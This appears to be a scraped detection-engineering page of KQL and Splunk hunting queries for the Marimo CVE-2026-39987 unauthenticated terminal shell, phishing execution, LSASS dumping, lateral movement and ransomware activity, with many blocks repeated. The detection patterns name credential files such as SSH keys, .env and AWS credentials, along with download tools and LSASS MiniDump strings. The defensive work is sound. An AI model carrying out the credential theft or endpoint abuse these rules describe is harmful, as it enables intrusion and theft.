Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Trusted vendor binary / installer launching unusual children
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Remote service execution — PsExec / SMB lateral movement · Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft)
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
2026-02-124 use cases0 techniques3 kill-chain phases detected
TrueConf Client contains a download of code without integrity check vulnerability. An attacker who is able to influence the update delivery path can substitute a tampered update payload. If the payload is executed or installed by the updater, this may result in arbitrary code execution in the context of the updating process or user. Vendor: TrueConf, Product: Client. Federal patch due: 2026-04-16.
CVEsCVE-2026-3502
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-3502")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-3502")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-02-124 use cases0 techniques3 kill-chain phases detected
Apple iOS, macOS, tvOS, watchOS, and visionOS contain an improper restriction of operations within the bounds of a memory buffer vulnerability that could allow an attacker with memory write the capability to execute arbitrary code. Vendor: Apple, Product: Multiple Products. Federal patch due: 2026-03-05.
CVEsCVE-2025-43520CVE-2026-20700
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-43520", "CVE-2026-20700")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-43520", "CVE-2026-20700")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
